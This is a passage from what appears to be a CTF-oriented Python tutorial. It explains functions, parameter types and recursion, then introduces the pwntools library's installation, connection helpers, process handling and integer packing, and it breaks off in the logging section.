Note that when the statements inside the function body are executed, once they reach return
, the function is executed and the result is returned. Thus, very complex logic can be implemented inside functions through conditional judgments and loops.
If there is no return
statement, the function will also return the result when it finishes executing, but the result will be None
. return None
can be abbreviated to return
.
When defining functions in the Python interactive environment, note that Python will show a ...
prompt. When you finish defining the function you need to press enter twice to get back to the >>>
prompt.
\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502Command Prompt - python - \u25a1 x \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502>>> def my_abs(x): \u2502\n\u2502... if x >= 0: \u2502\n\u2502... return x \u2502\n\u2502... else: \u2502\n\u2502... return -x \u2502\n\u2502... \u2502\n\u2502>>> my_abs(-9) \u2502\n\u25029 \u2502\n\u2502>>> _ \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
If you have already saved the function definition of my_abs()
as an abstest.py
file, then you can start the Python interpreter in the current directory of that file and import the my_abs()
function with from abstest import my_abs
, noting that abstest
is the file name (without the . py
extension).
\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502Command Prompt - python - \u25a1 x \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502>>> from abstest import my_abs \u2502\n\u2502>>> my_abs(-9) \u2502\n\u25029 \u2502\n\u2502>>> _ \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
The usage of import
is described in detail in the subsequent section Modules.
If you want to define an empty function that doesn't do anything, you can use the pass
statement.
def nop():\n pass\n
The pass
statement doesn't do anything, so what's the point? Actually pass
can be used as a placeholder, for example, if you haven't figured out how to write the code for a function yet, you can put a pass
first so that the code can run.
pass
can also be used in other statements, such as.
if age >= 18:\n pass\n
Missing pass
, the code will run with syntax errors.
When calling a function with the wrong number of arguments, the Python interpreter will automatically check for it and throw TypeError
:
>>> my_abs(1, 2)\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: my_abs() takes 1 positional argument but 2 were given\n
But if the argument type is wrong, the Python interpreter can't check it for us. Try the difference between my_abs
and the built-in function abs
.
>>> my_abs('A')\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\n File \"<stdin>\", line 2, in my_abs\nTypeError: unorderable types: str() >= int()\n>>> abs('A')\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: bad operand type for abs(): 'str'\n
The built-in function abs
checks for parameter errors when improper parameters are passed in, while the my_abs
we defined has no parameter checking and will cause an error in the if
statement with a different error message than abs
. So, this function definition is not good enough.
Let's modify the definition of my_abs
to do an argument type check and allow only arguments of integer and floating point types. The data type check can be implemented with the built-in function isinstance()
.
def my_abs(x):\n if not isinstance(x, (int, float)):\n raise TypeError('bad operand type')\n if x >= 0:\n return x\n else:\n return -x\n
With the addition of parameter checking, the function can throw an error if the wrong type of parameter is passed in.
>>> my_abs('A')\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\n File \"<stdin>\", line 3, in my_abs\nTypeError: bad operand type\n
Error and exception handling will be covered later.
"},{"location":"CTF/Python_3/#returning-multiple-values","title":"Returning multiple values","text":"Can a function return more than one value? The answer is yes.
For example, in a game where you often need to move from one point to another, given the coordinates, displacement and angle, you can calculate the new coordinates as follows.
import math\n\ndef move(x, y, step, angle=0):\n nx = x + step * math.cos(angle)\n ny = y - step * math.sin(angle)\n return nx, ny\n
The import math
statement indicates that the math
package is imported and allows subsequent code to reference the sin
, cos
and other functions in the math
package.
Then, we can get both the return values.
>>> x, y = move(100, 100, 60, math.pi / 6)\n>>> print(x, y)\n151.96152422706632 70.0\n
But in fact this is only an illusion, and the Python function still returns a single value:
>>> r = move(100, 100, 60, math.pi / 6)\n>>> print(r)\n(151.96152422706632, 70.0)\n
The original return value is a tuple! However, in syntax, returning a tuple can omit the parentheses, and multiple variables can receive a tuple at the same time, assigned to the corresponding value by position, so Python's function returns multiple values is actually returning a tuple, but it's easier to write.
"},{"location":"CTF/Python_3/#summary","title":"Summary","text":"When defining a function, you need to determine the function name and the number of arguments.
If necessary, you can first check the data types of the arguments.
return
can be used inside the function body to return the result of the function at any time.
If the function is executed and there is no return
statement, it automatically returns None
.
The function can return multiple values at the same time, but it is actually a tuple.
"},{"location":"CTF/Python_3/#reference-source-code","title":"Reference source code","text":"def_func.py
"},{"location":"CTF/Python_3/#parameters-of-a-function","title":"Parameters of a function","text":"When defining a function, we name and locate the parameters and the interface definition of the function is complete. For the caller of the function, it's enough to know how to pass the right arguments and what value the function will return; the complex logic inside the function is encapsulated and the caller doesn't need to understand it.
Python's function definitions are very simple, but very flexible. In addition to the normal definition of mandatory arguments, you can also use default, variable, and keyword arguments, making the function definition an interface that not only handles complex arguments, but also simplifies the caller's code.
"},{"location":"CTF/Python_3/#positional-parameters","title":"positional parameters","text":"Let's start by writing a function that calculates x2:
def power(x):\n return x * x\n
For the power(x)
function, the argument x
is a position parameter.
When we call the power
function, we must pass in one and only one parameter x
.
>>> power(5)\n25\n>>> power(15)\n225\n
Now, what if we want to calculate x3? We can define another power3
function, but what if we want to calculate x4, x5 ......? We can't define an infinite number of functions.
It may have occurred to you that you can modify power(x)
to power(x, n)
to compute xn, and to do so, say.
def power(x, n):\n s = 1\n while n > 0:\n n = n - 1\n s = s * x\n return s\n
For this modified power(x, n)
function, any nth power can be computed as follows.
>>> power(5, 2)\n25\n>>> power(5, 3)\n125\n
The modified power(x, n)
function has two parameters: x
and n
, both of which are positional parameters. When the function is called, the two values passed in are assigned to the parameters x
and n
in order of position.
The new power(x, n)
function definition is fine, however, the old calling code fails because we added an argument, causing the old code to fail to call properly because of a missing argument: the
>>> power(5)\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: power() missing 1 required positional argument: 'n'\n
Python's error message is clear: the call to the function power()
is missing a positional argument n
.
This is where the default parameter comes into play. Since we often calculate x2, it is perfectly acceptable to set the default value of the second argument, n, to 2.
def power(x, n=2):\n s = 1\n while n > 0:\n n = n - 1\n s = s * x\n return s\n
Thus, when we call power(5)
, it is equivalent to calling power(5, 2)
.
>>> power(5)\n25\n>>> power(5, 2)\n25\n
For other cases where n > 2
, n must be passed explicitly, such as power(5, 3)
.
As you can see from the above example, default parameters can simplify function calls. When setting default parameters, there are a few things to keep in mind.
One is that the mandatory parameters come first and the default parameters come second, otherwise Python's interpreter will report an error (think about why the default parameters can't be placed in front of the mandatory parameters).
Second, how to set the default parameters.
When a function has more than one parameter, put the parameters that change a lot in front and the parameters that change a little in the back. The parameter with small changes can then be used as the default parameter.
What are the benefits of using default parameters? The biggest benefit is that it reduces the difficulty of calling the function.
For example, let's write a function to register a first grade student and pass in two parameters name
and gender
.
def enroll(name, gender):\n print('name:', name)\n print('gender:', gender)\n
In this way, the enroll()
function is called with only two parameters passed in.
>>> enroll('Sarah', 'F')\nname: Sarah\ngender: F\n
What if I want to continue passing in information such as age, city, etc.? This would make calling the function much more complicated.
We can set age and city as default parameters.
def enroll(name, gender, age=6, city='Beijing'):\n print('name:', name)\n print('gender:', gender)\n print('age:', age)\n print('city:', city)\n
In this way, most students are not required to provide their age and city when registering, but only the two required parameters.
>>> enroll('Sarah', 'F')\nname: Sarah\ngender: F\nage: 6\ncity: Beijing\n
Only students who do not match the default parameters will be required to provide additional information.
enroll('Bob', 'M', 7)\nenroll('Adam', 'M', city='Tianjin')\n
As you can see, the default arguments reduce the difficulty of function calls, and once more complex calls are needed, more arguments can be passed to achieve them. Whether it is a simple call or a complex call, the function only needs to define one.
When there are multiple default parameters, the call can either provide the default parameters in order, such as calling enroll('Bob', 'M', 7)
, meaning that, in addition to the two parameters name
, gender
, the last 1 parameter is applied to the parameter age
, and the city
parameter, since it is not provided, still uses the default value.
It is also possible to provide partial default parameters out of order. When providing partial default parameters out of order, you need to put the parameter name on. For example, calling enroll('Adam', 'M', city='Tianjin')
means that the city
parameter uses the value passed in and the other default parameters continue to use the default values.
Default parameters are useful, but they can fall into a hole if not used properly. The default parameters have one of the biggest pits, as demonstrated below.
First define a function, pass in a list, add an END
and then return.
def add_end(L=[]):\n L.append('END')\n return L\n
When you call it normally, the result seems good:
>>> add_end([1, 2, 3])\n[1, 2, 3, 'END']\n>>> add_end(['x', 'y', 'z'])\n['x', 'y', 'z', 'END']\n
When you call with the default parameters, the result is also correct at first:
>>> add_end()\n['END']\n
However, when add_end()
is called again, the result is not correct:
>>> add_end()\n['END', 'END']\n>>> add_end()\n['END', 'END', 'END']\n
Many beginners are puzzled by the fact that the default argument is []
, but the function seems to \"remember\" the list after adding 'END'
each time.
The reason for this is as follows.
When a Python function is defined, the value of the default parameter L
is calculated, i.e. []
, because the default parameter L
is also a variable that points to the object []
, and each time the function is called, if the content of L
is changed, the content of the default parameter will change the next time it is called, and will no longer be the []
of the function when it is defined.
One thing to keep in mind when defining default parameters: they must point to invariant objects!
To modify the above example, we can use the invariant object None
to implement.
def add_end(L=None):\n if L is None:\n L = []\n L.append('END')\n return L\n
Now, no matter how many times it is called, there will be no problem:
>>> add_end()\n['END']\n>>> add_end()\n['END']\n
Why do we design invariant objects like str
and None
? Because once the invariant object is created, the data inside the object cannot be modified, which reduces the errors caused by modifying the data. In addition, because the object is invariant, there is no need to add locks to read the object simultaneously in a multitasking environment, and there is no problem reading it simultaneously at all. When we write a program, if we can design an invariant object, then try to design it as invariant object.
Variable parameters can also be defined in Python functions. As the name implies, a variable parameter is a variable number of arguments passed in, from 1, 2 to any number, and 0.
Let's take a math problem as an example, given a set of numbers a, b, c ......, calculate a^2 + b^2 + c^2 + .......
To define this function, we must determine the input parameters. Since the number of parameters is uncertain, we first think that we can pass a, b, c ...... as a list or a tuple, so that the function can be defined as follows.
def calc(numbers):\n sum = 0\n for n in numbers:\n sum = sum + n * n\n return sum\n
But to call it, a list or tuple needs to be assembled first:
>>> calc([1, 2, 3])\n14\n>>> calc((1, 3, 5, 7))\n84\n
If variable parameters are utilized, the way the function is called can be simplified as follows.
>>> calc(1, 2, 3)\n14\n>>> calc(1, 3, 5, 7)\n84\n
So, we change the parameters of the function to variable parameters.
def calc(*numbers):\n sum = 0\n for n in numbers:\n sum = sum + n * n\n return sum\n
Defining a variable parameter is simply a matter of adding a *
sign in front of the parameter compared to defining a list or tuple parameter. Inside the function, the argument numbers
is received as a tuple, so the function code remains exactly the same. However, the function can be called with any number of arguments, including 0 arguments.
>>> calc(1, 2)\n5\n>>> calc()\n0\n
What if I already have a list or tuple and want to call a mutable parameter? This can be done.
>>> nums = [1, 2, 3]\n>>> calc(nums[0], nums[1], nums[2])\n14\n
The problem is that it's too cumbersome, so Python allows you to add a *
sign in front of a list or tuple and pass the elements of the list or tuple as mutable arguments.
>>> nums = [1, 2, 3]\n>>> calc(*nums)\n14\n
*nums
means that all elements of the list nums
are passed in as mutable arguments. This writing style is quite useful and common.
Variable arguments allow you to pass in zero or any number of arguments, which are automatically assembled into a tuple when the function is called, while keyword arguments allow you to pass in zero or any number of arguments with parameter names, which are automatically assembled into a dict inside the function. see the example.
def person(name, age, **kw):\n print('name:', name, 'age:', age, 'other:', kw)\n
The function person
accepts the keyword argument kw
in addition to the mandatory arguments name
and age
. When calling this function, only the mandatory parameters can be passed.
>>> person('Michael', 30)\nname: Michael age: 30 other: {}\n
Any number of keyword parameters can also be passed in.
>>> person('Bob', 35, city='Beijing')\nname: Bob age: 35 other: {'city': 'Beijing'}\n>>> person('Adam', 45, gender='M', job='Engineer')\nname: Adam age: 45 other: {'gender': 'M', 'job': 'Engineer'}\n
What is the use of the keyword argument? It extends the function's functionality. For example, in the person
function, we are guaranteed to receive the two parameters name
and age
, but if the caller would like to provide more parameters, we can receive them as well. Imagine you are doing a user registration function and everything is optional except for the user name and age which are required, using keyword arguments to define this function will satisfy the registration requirement.
Similar to variable parameters, you can also assemble a dict first, and then, convert that dict to a keyword parameter to pass in.
>>> extra = {'city': 'Beijing', 'job': 'Engineer'}\n>>> person('Jack', 24, city=extra['city'], job=extra['job'])\nname: Jack age: 24 other: {'city': 'Beijing', 'job': 'Engineer'}\n
Of course, the above complex call can be written in a simplified way as follows.
>>> extra = {'city': 'Beijing', 'job': 'Engineer'}\n>>> person('Jack', 24, **extra)\nname: Jack age: 24 other: {'city': 'Beijing', 'job': 'Engineer'}\n
**extra
means that all key-values of the dict extra
are passed into the **kw
parameter of the function with keyword arguments, kw
will get a dict, note that the dict obtained by kw
is a copy of extra
, changes to kw
will not affect extra
outside the function.
For keyword arguments, the caller of a function can pass in any unrestricted keyword argument. As for exactly what is passed in, it needs to be checked inside the function via kw
.
Still using the person()
function as an example, we want to check for city
and job
parameters.
def person(name, age, **kw):\n if 'city' in kw:\n # With city parameter\n pass\n if 'job' in kw:\n # With job parameter\n pass\n print('name:', name, 'age:', age, 'other:', kw)\n
However, the caller can still pass in unrestricted keyword arguments.
>>> person('Jack', 24, city='Beijing', addr='Chaoyang', zipcode=123456)\n
If you want to restrict the names of the keyword arguments, you can use named keyword arguments, for example, to receive only city
and job
as keyword arguments. The functions defined in this way are as follows.
def person(name, age, *, city, job):\n print(name, age, city, job)\n
Unlike the keyword parameter **kw
, the named keyword parameter requires a special separator *
, and the parameters following *
are considered as named keyword parameters.
It is called as follows.
>>> person('Jack', 24, city='Beijing', job='Engineer')\nJack 24 Beijing Engineer\n
If a function definition already has a variable argument, the named keyword argument that follows no longer needs a special separator *
.
def person(name, age, *args, city, job):\n print(name, age, args, city, job)\n
Named keyword parameters must be passed with a parameter name, unlike positional parameters. If the parameter name is not passed, the call will report an error.
>>> person('Jack', 24, 'Beijing', 'Engineer')\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\nTypeError: person() missing 2 required keyword-only arguments: 'city' and 'job'\n
Due to the missing parameter names city
and job
in the call, the Python interpreter treats the first two parameters as positional parameters and passes the last two parameters to *args
, but the missing named keyword parameter causes an error.
Named keyword arguments can have default values, thus simplifying the call.
def person(name, age, *, city='Beijing', job):\n print(name, age, city, job)\n
Since the named keyword parameter city
has a default value, it can be invoked without passing the city
parameter.
>>> person('Jack', 24, job='Engineer')\nJack 24 Beijing Engineer\n
When using named keyword arguments, take special care to add a *
as a special separator if there are no variable arguments. If *
is missing, the Python interpreter will not recognize positional and named keyword arguments.
def person(name, age, city, job):\n # Missing *, city and job are considered as location parameters\n pass\n
"},{"location":"CTF/Python_3/#parameter-combinations","title":"Parameter combinations","text":"To define functions in Python, you can use mandatory parameters, default parameters, variable parameters, keyword parameters, and named keyword parameters, all five of which can be used in combination. However, please note that the order of parameter definition must be: mandatory parameters, default parameters, variable parameters, named keyword parameters, and keyword parameters.
For example, to define a function with several of these parameters.
def f1(a, b, c=0, *args, **kw):\n print('a =', a, 'b =', b, 'c =', c, 'args =', args, 'kw =', kw)\n\ndef f2(a, b, c=0, *, d, **kw):\n print('a =', a, 'b =', b, 'c =', c, 'd =', d, 'kw =', kw)\n
When the function is called, the Python interpreter automatically passes in the corresponding arguments according to their positions and names.
>>> f1(1, 2)\na = 1 b = 2 c = 0 args = () kw = {}\n>>> f1(1, 2, c=3)\na = 1 b = 2 c = 3 args = () kw = {}\n>>> f1(1, 2, 3, 'a', 'b')\na = 1 b = 2 c = 3 args = ('a', 'b') kw = {}\n>>> f1(1, 2, 3, 'a', 'b', x=99)\na = 1 b = 2 c = 3 args = ('a', 'b') kw = {'x': 99}\n>>> f2(1, 2, d=99, ext=None)\na = 1 b = 2 c = 0 d = 99 kw = {'ext': None}\n
The most amazing thing is that with a tuples and dict you can also call the above functions.
>>> args = (1, 2, 3, 4)\n>>> kw = {'d': 99, 'x': '#'}\n>>> f1(*args, **kw)\na = 1 b = 2 c = 3 args = (4,) kw = {'d': 99, 'x': '#'}\n>>> args = (1, 2, 3)\n>>> kw = {'d': 88, 'x': '#'}\n>>> f2(*args, **kw)\na = 1 b = 2 c = 3 d = 88 kw = {'x': '#'}\n
So, for any function, you can call it by something like func(*args, **kw)
, regardless of how its arguments are defined.
Although it is possible to combine up to 5 arguments, do not use too many combinations at the same time, otherwise the function interface is poorly understandable.
"},{"location":"CTF/Python_3/#summary_1","title":"Summary","text":"Python's functions have a very flexible argument form, allowing both simple calls and very complex arguments to be passed in.
The default argument must be an immutable object; if it's a mutable object, the program will run with a logic error!
Note the syntax for defining mutable and keyword arguments.
*args
is a mutable parameter, args receives a tuples.
**kw
is a keyword argument, kw receives a dict.
And the syntax of how to pass variable and keyword arguments when calling a function.
Variable parameters can be passed either directly: func(1, 2, 3)
or by assembling a list or tuple first and then passing it through *args
: func(*(1, 2, 3))
.
Keyword arguments can either be passed directly: func(a=1, b=2)
, or assembled first in a dict and then passed in via *kw
: func(**{'a': 1, 'b': 2})
.
Using *args
and **kw
is the customary way of writing Python, but of course other parameter names can be used, but it is better to use the customary usage.
Named keyword arguments are intended to limit the parameter names that can be passed in by the caller, while providing default values.
Don't forget to write the separator *
when defining named keyword parameters without mutable parameters, otherwise the definition will be a positional parameter.
var_args.py
kw_args.py
"},{"location":"CTF/Python_3/#recursive-functions","title":"Recursive functions","text":"Inside a function, other functions can be called. If a function calls itself internally, that function is recursive.
As an example, let's calculate the factorial n! = 1 x 2 x 3 x ... x n
, represented by the function fact(n)
, it can be seen that
So, fact(n)
can be expressed as n x fact(n-1)
, with special treatment required only for n=1.
Thus, fact(n)
is written out recursively as.
def fact(n):\n if n==1:\n return 1\n return n * fact(n - 1)\n
The above is a recursive function. Try:
>>> fact(1)\n1\n>>> fact(5)\n120\n>>> fact(100)\n93326215443944152681699238856266700490715968264381621468592963895217599993229915608941463976156518286253697920827223758251185210916864000000000000000000000000\n
If we calculate fact(5)
, we can see the calculation process according to the function definition as follows.
===> fact(5)\n===> 5 * fact(4)\n===> 5 * (4 * fact(3))\n===> 5 * (4 * (3 * fact(2)))\n===> 5 * (4 * (3 * (2 * fact(1))))\n===> 5 * (4 * (3 * (2 * 1)))\n===> 5 * (4 * (3 * 2))\n===> 5 * (4 * 6)\n===> 5 * 24\n===> 120\n
Recursive functions have the advantage of being simple to define and logically clear. In theory, all recursive functions can be written as loops, but the logic of loops is not as clear as recursion.
Using recursive functions requires care to prevent stack overflows. In computers, function calls are implemented through a data structure called a stack. Whenever a function call is entered, a layer of stack frames is added to the stack, and whenever the function returns, a layer of stack frames is subtracted from the stack. Since the size of the stack is not infinite, too many recursive calls can cause the stack to overflow. Try fact(1000)
.
>>> fact(1000)\nTraceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\n File \"<stdin>\", line 4, in fact\n ...\n File \"<stdin>\", line 4, in fact\nRuntimeError: maximum recursion depth exceeded in comparison\n
The solution to recursive call stack overflow is to optimize it by tail recursion. In fact, tail recursion has the same effect as a loop, so it is okay to think of a loop as a special kind of tail recursive function.
Tail recursion means that the function itself is called when it returns, and, the return statement cannot contain an expression. In this way, the compiler or interpreter can optimize the tail recursion so that the recursion itself, no matter how many times it is called, only occupies one stack frame and no stack overflow occurs.
The fact(n)
function above is not tail recursive because return n * fact(n - 1)
introduces a multiplicative expression. To change to a tail recursive approach, a little more code is needed, mainly to pass the product of each step into the recursive function.
def fact(n):\n return fact_iter(n, 1)\n\ndef fact_iter(num, product):\n if num == 1:\n return product\n return fact_iter(num - 1, num * product)\n
As you can see, return fact_iter(num - 1, num * product)
returns only the recursive function itself, num - 1
and num * product
are calculated before the function call and do not affect the function call.
The call to fact(5)
corresponding to fact_iter(5, 1)
is as follows.
===> fact_iter(5, 1)\n===> fact_iter(4, 5)\n===> fact_iter(3, 20)\n===> fact_iter(2, 60)\n===> fact_iter(1, 120)\n===> 120\n
When tail recursive calls are made, the stack does not grow if optimizations are made, so no matter how many calls are made, it will not cause the stack to overflow.
Unfortunately, most programming languages are not optimized for tail recursion, and neither is the Python interpreter, so even if you change the fact(n)
function above to a tail recursive approach, it will still result in a stack overflow.
The advantage of using recursive functions is that the logic is simple and clear, and the disadvantage is that calls that are too deep can lead to stack overflow.
Languages optimized for tail recursion can prevent stack overflows by tail recursion. Tail recursion is in fact equivalent to looping, and programming languages that don't have looping statements can only implement loops via tail recursion.
Python's standard interpreter is not optimized for tail recursion, and any recursive function has a stack overflow problem.
"},{"location":"CTF/Python_3/#reference-source-code_2","title":"Reference source code","text":"recur.py
"},{"location":"CTF/Python_4/","title":"Python Programming Quick Guide - CTF Related","text":"https://yulizi123.github.io/tutorials/python-basic/basic/
https://docs.python.org/3/
https://docs.pwntools.com/en/stable/
"},{"location":"CTF/Python_4/#module-installation","title":"Module installation","text":"There are many ways to install external modules, and the form of installation varies from system to system. Installing Python packages on Windows, for example, might even kill you. Haha.
"},{"location":"CTF/Python_4/#what-is-an-external-module","title":"What is an external module?","text":"An external module is what you use when you import
something into a python script.
import numpy as np\nimport matplotlib.pyplot as plt\n
Numpy and matplotlib are both external modules that need to be installed. They are not part of python's own modules.
"},{"location":"CTF/Python_4/#installing-numpy","title":"Installing Numpy","text":"For example, there are many ways to install modules for scientific operations, such as numpy. On Windows, the easiest way is to install Anaconda, which has many necessary external modules. Install one, and save yourself the trouble of installing others.
However, I want to talk about downloading the installation package and installing it on Windows. For example, on the Numpy installer website, you can find various versions of numpy.
In NumPy 1.10.2, we can find installers for Windows, but no Windows installers have been added to the new version yet. Then choose the appropriate \"exe\" installer for your system and python version. Download and install.
If you are on MacOS or Linux, this external module is much easier to install. You can easily install it by typing a phrase into your computer's Terminal. Windows seems to have to be set up in a special way to do the same thing, I don't know... you might want to look it up. On my computer, the Terminal looks like this.
Then you can install it if you type in this form.
$ pip install the name of the module you want\n
For example
$ pip install numpy # This is for the python2+ version\n$ pip3 install numpy # This is for the python3+ version\n
"},{"location":"CTF/Python_4/#updating-external-modules","title":"Updating external modules","text":"Updating external modules with pip is very simple. All you need to do is type the following command into Terminal. The -U
here means update.
$ pip install -U numpy # This is for the python2+ version\n$ pip3 install -U numpy # This is for the python3+ version\n
"},{"location":"CTF/Python_4/#pwntools","title":"pwntools","text":"pwntools
is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
The primary location for this documentation is docs.pwntools.com, which uses readthedocs. It comes in three primary flavors:
Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
"},{"location":"CTF/Python_4/#prerequisites","title":"Prerequisites","text":"To get the most out of pwntools
, you should install the following system libraries.
pwntools is available as a pip
package for both Python2 and Python3.
$ apt-get update\n$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential\n$ python3 -m pip install --upgrade pip\n$ python3 -m pip install --upgrade pwntools\n
"},{"location":"CTF/Python_4/#python2-deprecated","title":"Python2 (Deprecated)","text":"NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.
Additionally, due to pip dropping support for Python2, a specific version of pip must be installed.
$ apt-get update\n$ apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential\n$ python2 -m pip install --upgrade pip==20.3.4\n$ python2 -m pip install --upgrade pwntools\n
"},{"location":"CTF/Python_4/#command-line-tools","title":"Command-Line Tools","text":"When installed with sudo
the above commands will install Pwntools\u2019 command-line tools to somewhere like /usr/bin
.
However, if you run as an unprivileged user, you may see a warning message that looks like this:
Follow the instructions listed and add ~/.local/bin
to your $PATH
environment variable.
If you are hacking on Pwntools locally, you\u2019ll want to do something like this:
$ git clone https://github.com/Gallopsled/pwntools\n$ pip install --upgrade --editable ./pwntools\n
"},{"location":"CTF/Python_4/#getting-started","title":"Getting Started","text":"To get your feet wet with pwntools, let\u2019s first go through a few examples.
When writing exploits, pwntools generally follows the \u201ckitchen sink\u201d approach.
>>> from pwn import *\n
This imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and many other things with a single function.
A full list of everything that is imported is available from pwn import *.
"},{"location":"CTF/Python_4/#tutorials","title":"Tutorials","text":"A series of tutorials for Pwntools exists online, at https://github.com/Gallopsled/pwntools-tutorial#readme
"},{"location":"CTF/Python_4/#making-connections","title":"Making Connections","text":"You need to talk to the challenge binary in order to pwn it, right? pwntools makes this stupid simple with its pwnlib.tubes
module.
This exposes a standard interface to talk to processes, sockets, serial ports, and all manner of things, along with some nifty helpers for common tasks. For example, remote connections via pwnlib.tubes.remote
.
>>> conn = remote('ftp.ubuntu.com',21)\n>>> conn.recvline() # doctest: +ELLIPSIS\nb'220 ...'\n>>> conn.send(b'USER anonymous\\r\\n')\n>>> conn.recvuntil(b' ', drop=True)\nb'331'\n>>> conn.recvline()\nb'Please specify the password.\\r\\n'\n>>> conn.close()\n
It\u2019s also easy to spin up a listener
>>> l = listen()\n>>> r = remote('localhost', l.lport)\n>>> c = l.wait_for_connection()\n>>> r.send(b'hello')\n>>> c.recv()\nb'hello'\n
Interacting with processes is easy thanks to the pwnlib.tubes.process
.
>>> sh = process('/bin/sh')\n>>> sh.sendline(b'sleep 3; echo hello world;')\n>>> sh.recvline(timeout=1)\nb''\n>>> sh.recvline(timeout=5)\nb'hello world\\n'\n>>> sh.close()\n
Not only can you interact with processes programmatically, but you can actually interact with processes.
>>> sh.interactive() # doctest: +SKIP\n$ whoami\nuser\n
There\u2019s even an SSH module for when you\u2019ve got to SSH into a box to perform a local/setuid exploit with pwnlib.tubes.ssh
. You can quickly spawn processes and grab the output, or spawn a process and interact with it like a process
tube.
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)\n>>> shell['whoami']\nb'bandit0'\n>>> shell.download_file('/etc/motd')\n>>> sh = shell.run('sh')\n>>> sh.sendline(b'sleep 3; echo hello world;') \n>>> sh.recvline(timeout=1)\nb''\n>>> sh.recvline(timeout=5)\nb'hello world\\n'\n>>> shell.close()\n
"},{"location":"CTF/Python_4/#packing-integers","title":"Packing Integers","text":"A common task for exploit-writing is converting between integers as Python sees them, and their representation as a sequence of bytes. Usually, folks resort to the built-in struct
module.
pwntools makes this easier with pwnlib.util.packing
. No more remembering unpacking codes, and littering your code with helper routines.
>>> import struct\n>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)\nTrue\n>>> leet = unhex('37130000')\n>>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]\nTrue\n
The packing/unpacking operations are defined for many common bit-widths.
>>> u8(b'A') == 0x41\nTrue\n
"},{"location":"CTF/Python_4/#setting-the-target-architecture-and-os","title":"Setting the Target Architecture and OS","text":"The target architecture can generally be specified as an argument to the routine that requires it.
>>> asm('nop')\nb'\\x90'\n>>> asm('nop', arch='arm')\nb'\\x00\\xf0 \\xe3'\n
However, it can also be set once in the global context
. The operating system, word size, and endianness can also be set here.
>>> context.arch = 'i386'\n>>> context.os = 'linux'\n>>> context.endian = 'little'\n>>> context.word_size = 32\n
Additionally, you can use a shorthand to set all of the values at once.
>>> asm('nop')\nb'\\x90'\n>>> context(arch='arm', os='linux', endian='big', word_size=32)\n>>> asm('nop')\nb'\\xe3 \\xf0\\x00'\n
"},{"location":"CTF/Python_4/#setting-logging-verbosity","title":"Setting Logging Verbosity","text":"You can control the verbosity of the standard pwntools logging via context
.
For example, setting
>>> context.log_level = 'debug'\n
This will cause all of the data sent and received by a tube
